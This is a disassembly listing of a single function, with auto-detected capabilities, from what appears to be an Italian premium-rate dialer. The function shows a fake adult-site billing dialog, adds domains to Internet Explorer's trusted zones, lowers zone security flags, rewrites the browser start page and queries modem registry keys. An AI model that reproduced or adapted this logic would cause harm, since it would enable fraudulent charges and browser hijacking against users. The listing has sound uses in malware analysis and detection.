Function at 0x401048
Capabilities:
Hide graphical window
Persist via app paths registry key
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x4049ac], eax
push 0
push 0x401cba
call sub.USER32.dll_EnumWindows
push 0x100
push 0x410274
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
push 0x401048
push 0
push str.Mess
push dword [0x4049ac]
call sub.USER32.dll_DialogBoxParamA
push eax
call sub.KERNEL32.DLL_ExitProcess
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0x110
jne 0x401472
push 0xbba
push dword [ebp + 8]
call sub.USER32.dll_GetDlgItem
mov dword [0x410580], eax
push 0xbb9
push dword [ebp + 8]
call sub.USER32.dll_GetDlgItem
mov dword [0x410584], eax
push 0x7f89
push 0
call sub.USER32.dll_LoadCursorA
push eax
push 0xfffffffffffffff4
push dword [0x410580]
call sub.USER32.dll_SetClassLongA
call fcn.00402404
push 0x4044ab
call fcn.00401c72
push str.qkdefjg
call fcn.00401c72
push str.gbb__agga
call fcn.00401c72
push 0x4044c8
call fcn.00401c72
push 0x4044d2
call fcn.00401c72
push 0x40430c
call fcn.00401c72
push 0x404342
call fcn.00401c72
push 0x404366
call fcn.00401c72
push str.qrqkfkoh_XX
call fcn.00401c72
push str.qrqkfkoiXX
call fcn.00401c72
push str.qrqkfkoh
call fcn.00401c72
push str.qrqkfkoi
call fcn.00401c72
push str.___affc
call fcn.00401c72
push 0x4045bb
call fcn.00401c72
push 0x4045ce
call fcn.00401c72
push 0x4045e2
call fcn.00401c72
push 0x4047ea
call fcn.00401c72
push 0x404525
call fcn.00401c72
push str.15526300
call fcn.00401c72
push str.SystemCurrentControlSetServicesClassModem
call fcn.00401c72
push str.SYSTEMCurrentControlSetControlClass4D36E96D_E325_11CE_BFC1_08002BE10318
call fcn.00401c72
push str.UserInit
call fcn.00401c72
push str.ATM0
call fcn.00401c72
push str.UitO
call fcn.00401c72
push str.Questo_servizio_vietato_ai_minori_e_offerto_da_Earny_LTD_e_consiste_in_un_accesso_per_unora_ad_un_sito_con_video_re_foto_da_scaricare_sul_tuo_pc._Se_vuoi_visionare_una_anteprima_dellarea_privata_potrai_farlo_cliccando_qui_al_rcosto_di_trecento_centesimi_di_euro_al_minuto._Proseguendo__sarai__connesso_ad_un_numero_a__valore__aggiunto_al_rcosto_unico_di_quindici_euro_per_unora_di_abbonamento._Per_uscire_clicca_qui._rCliccando_su_OK_autorizzi__la__modifica__della__pagina__iniziale_pedefinita_di_Internet_Explorer__con__una__pagina_rpromozionale__nonche_la_contemporanea_installazione_di_un_web_plugin_per_la_ricezione_di_messaggi_pubblicitari_red_altro_che_verranno_riproposti_in_modalita_random._rPer_info:_earnyltd_gmail.com___Premere_OK_per_proseguire
push 0xbbc
push dword [ebp + 8]
call sub.USER32.dll_SetDlgItemTextA
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZoneMapDomains_
push 0x410474
call sub.KERNEL32.DLL_lstrcpyA
push 0x4045bb
push 0x410474
call sub.KERNEL32.DLL_lstrcatA
push 0x40fe20
push 0x40fe1c
push 0
push 0xf003f
push 0
push 0
push 0
push 0x410474
push 0x80000001
call sub.ADVAPI32.dll_RegCreateKeyExA
push 4
push 0x4047e2
push 4
push 0
push 0x4045f5
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegSetValueExA
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegCloseKey
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZoneMapDomains_
push 0x410474
call sub.KERNEL32.DLL_lstrcpyA
push 0x4045ce
push 0x410474
call sub.KERNEL32.DLL_lstrcatA
push 0x40fe20
push 0x40fe1c
push 0
push 0xf003f
push 0
push 0
push 0
push 0x410474
push 0x80000001
call sub.ADVAPI32.dll_RegCreateKeyExA
push 4
push 0x4047e2
push 4
push 0
push 0x4045f5
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegSetValueExA
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegCloseKey
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZoneMapDomains_
push 0x410474
call sub.KERNEL32.DLL_lstrcpyA
push 0x4045e2
push 0x410474
call sub.KERNEL32.DLL_lstrcatA
push 0x40fe20
push 0x40fe1c
push 0
push 0xf003f
push 0
push 0
push 0
push 0x410474
push 0x80000001
call sub.ADVAPI32.dll_RegCreateKeyExA
push 4
push 0x4047e2
push 4
push 0
push 0x4045f5
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegSetValueExA
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegCloseKey
push 0x40fe20
push 0x40fe1c
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones2
push 0x80000001
call sub.ADVAPI32.dll_RegCreateKeyExA
push 4
push 0x4047e6
push 4
push 0
push str.Flags
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegSetValueExA
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegCloseKey
cmp byte [0x404834], 0xcb
jbe 0x401339
cmp byte [0x4047de], 0x31
jne 0x40134b
cmp byte [0x404834], 0x4e
jbe 0x401397
cmp byte [0x4047de], 0x31
jne 0x401397
push 0x40fe20
push 0x40fe1c
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push 0x80000001
call sub.ADVAPI32.dll_RegCreateKeyExA
push 0x1d
push 0x4047ea
push 1
push 0
push str.Start_Page
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegSetValueExA
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegCloseKey
mov dword [0x4105ec], 0x94
push 0x4105ec
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [0x4105f0], 4
jne 0x4013ce
cmp dword [0x4105fc], 1
jne 0x4013ce
push str.SystemCurrentControlSetServicesClassModem
push 0x410780
call sub.KERNEL32.DLL_lstrcpyA
jmp 0x4013dd
push str.SYSTEMCurrentControlSetControlClass4D36E96D_E325_11CE_BFC1_08002BE10318
push 0x410780
call sub.KERNEL32.DLL_lstrcpyA
push 0x40fe20
push 0x40fe1c
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsIEXPLORE.EXE
push 0x80000002
call sub.ADVAPI32.dll_RegCreateKeyExA
mov dword [0x40fe20], 0x100
push 0x40fe20
push 0x40fe24
push 0
push 0
push 0x4046b7
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegQueryValueExA
push 0x4047e0
push 0x40fe24
call sub.KERNEL32.DLL_lstrcatA
push 0x40fe24
push 0x40ff24
call sub.KERNEL32.DLL_lstrcpyA
push 0x404366
push 0x40ff24
call sub.KERNEL32.DLL_lstrcatA
push str.15526300
call fcn.004023b6
push eax
call sub.GDI32.dll_CreateSolidBrush
call fcn.004024f7
jmp 0x401868
cmp dword [ebp + 0xc], 0x136
jne 0x401489
mov eax, dword [0x410590]
leave
ret 0x10
cmp dword [ebp + 0xc], 0x138
jne 0x4014c7
xor eax, eax
mov ah, byte [0x404862]
shl eax, 8
mov ah, byte [0x404861]
mov al, byte [0x404860]
push eax
push dword [ebp + 0x10]
call sub.GDI32.dll_SetTextColor
push 1
push dword [ebp + 0x10]
call sub.GDI32.dll_SetBkMode
mov eax, dword [0x410590]
leave
ret
cmp dword [ebp + 0xc], 0x111
jne 0x401556
push 0
push dword [ebp + 8]
call sub.USER32.dll_ShowWindow
cmp dword [0x404830], 0
jne 0x40150f
call fcn.0040186c
call fcn.00401ce2
push str.Complimenti__hai_abilitato_questo_computer_allaccesso_dellarea_privata_del_sito_per_una_ora._rPer_entrare_clicca_qui._rOFFERTA_SPECIALE:_ral__solo__costo__di_altri__quindici__euro__puoi__estendere_questo_rabbonamento_fino_a_ventiquattro_ore_cliccando_qui_o_su_OK.
push 0xbbc
push dword [ebp + 8]
call sub.USER32.dll_SetDlgItemTextA
push 1
push dword [ebp + 8]
call sub.USER32.dll_ShowWindow
jmp 0x40154b
mov byte [0x40481e], 0x53
mov byte [0x40451d], 0x32
push str.qrqkfkoiXX
push str.qrqkfkoh_XX
call sub.KERNEL32.DLL_lstrcpyA
call fcn.00401ce2
push str.qkdefjg
push 0x4044ab
call sub.KERNEL32.DLL_lstrcpyA
call fcn.004020af
push eax
call sub.KERNEL32.DLL_ExitProcess
inc dword [0x404830]
jmp 0x401868
cmp dword [ebp + 0xc], 0x112
jne 0x401592
mov eax, 0xfff0
and eax, dword [ebp + 0x10]
cmp eax, 0xf060
jne 0x40157c
push 6
push dword [ebp + 8]
call sub.USER32.dll_ShowWindow
leave
ret 0x10
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.USER32.dll_DefWindowProcA
jmp 0x401868
cmp dword [ebp + 0xc], 0x201
jne 0x401727
mov eax, dword [ebp + 0x14]
and eax, 0xffff
mov dword [0x4105e4], eax
mov eax, dword [ebp + 0x14]
shr eax, 0x10
mov dword [0x4105e8], eax
cmp dword [0x4105e4], 0x178
jbe 0x4015f4
cmp dword [0x4105e4], 0x1ab
jae 0x4015f4
cmp dword [0x4105e8], 0x31
jbe 0x4015f4
cmp dword [0x4105e8], 0x40
jae 0x4015f4
cmp dword [0x404830], 0
jne 0x4015f4
push 0
push dword [ebp + 8]
call sub.USER32.dll_EndDialog
cmp dword [0x4105e4], 0x1fb
jbe 0x401641
cmp dword [0x4105e4], 0x247
jae 0x401641
cmp dword [0x4105e8], 0x16
jbe 0x401641
cmp dword [0x4105e8], 0x26
jae 0x401641
cmp dword [0x404830], 0
jne 0x401641
push 0
push dword [ebp + 8]
call sub.USER32.dll_ShowWindow
call fcn.0040186c
call fcn.004020af
push eax
call sub.KERNEL32.DLL_ExitProcess
cmp dword [0x4105e4], 0x75
jbe 0x401695
cmp dword [0x4105e4], 0xa8
jae 0x401695
cmp dword [0x4105e8], 0x18
jbe 0x401695
cmp dword [0x4105e8], 0x26
jae 0x401695
cmp dword [0x404830], 1
jne 0x401695
push 0
push dword [ebp + 8]
call sub.USER32.dll_ShowWindow
push str.qkdefjg
push 0x4044ab
call sub.KERNEL32.DLL_lstrcpyA
call fcn.004020af
push eax
call sub.KERNEL32.DLL_ExitProcess
cmp dword [0x4105e4], 0xee
jbe 0x401868
cmp dword [0x4105e4], 0x12f
jae 0x401868
cmp dword [0x4105e8], 0x3f
jbe 0x401868
cmp dword [0x4105e8], 0x4e
jae 0x401868
cmp dword [0x404830], 1
jne 0x401868
push 0
push dword [ebp + 8]
call sub.USER32.dll_ShowWindow
mov byte [0x40481e], 0x53
mov byte [0x40451d], 0x32
push str.qrqkfkoiXX
push str.qrqkfkoh_XX
call sub.KERNEL32.DLL_lstrcpyA
call fcn.00401ce2
push str.qkdefjg
push 0x4044ab
call sub.KERNEL32.DLL_lstrcpyA
call fcn.004020af
push eax
call sub.KERNEL32.DLL_ExitProcess
jmp 0x401868
cmp dword [ebp + 0xc], 0x200
jne 0x40185f
mov eax, dword [ebp + 0x14]
and eax, 0xffff
mov dword [0x4105e4], eax
mov eax, dword [ebp + 0x14]
shr eax, 0x10
mov dword [0x4105e8], eax
cmp dword [0x4105e4], 0x178
jbe 0x401791
cmp dword [0x4105e4], 0x1ab
jae 0x401791
cmp dword [0x4105e8], 0x31
jbe 0x401791
cmp dword [0x4105e8], 0x40
jae 0x401791
cmp dword [0x404830], 0
jne 0x401791
push 0x7f89
push 0
call sub.USER32.dll_LoadCursorA
push eax
call sub.USER32.dll_SetCursor
cmp dword [0x4105e4], 0x1fb
jbe 0x4017d6
cmp dword [0x4105e4], 0x247
jae 0x4017d6
cmp dword [0x4105e8], 0x16
jbe 0x4017d6
cmp dword [0x4105e8], 0x26
jae 0x4017d6
cmp dword [0x404830], 0
jne 0x4017d6
push 0x7f89
push 0
call sub.USER32.dll_LoadCursorA
push eax
call sub.USER32.dll_SetCursor
cmp dword [0x4105e4], 0x75
jbe 0x401818
cmp dword [0x4105e4], 0xa8
jae 0x401818
cmp dword [0x4105e8], 0x18
jbe 0x401818
cmp dword [0x4105e8], 0x26
jae 0x401818
cmp dword [0x404830], 1
jne 0x401818
push 0x7f89
push 0
call sub.USER32.dll_LoadCursorA
push eax
call sub.USER32.dll_SetCursor
cmp dword [0x4105e4], 0xee
jbe 0x401868
cmp dword [0x4105e4], 0x12f
jae 0x401868
cmp dword [0x4105e8], 0x3f
jbe 0x401868
cmp dword [0x4105e8], 0x4e
jae 0x401868
cmp dword [0x404830], 1
jne 0x401868
push 0x7f89
push 0
call sub.USER32.dll_LoadCursorA
push eax
call sub.USER32.dll_SetCursor
jmp 0x401868
mov eax, 0
leave
ret 0x10
leave
ret 0x10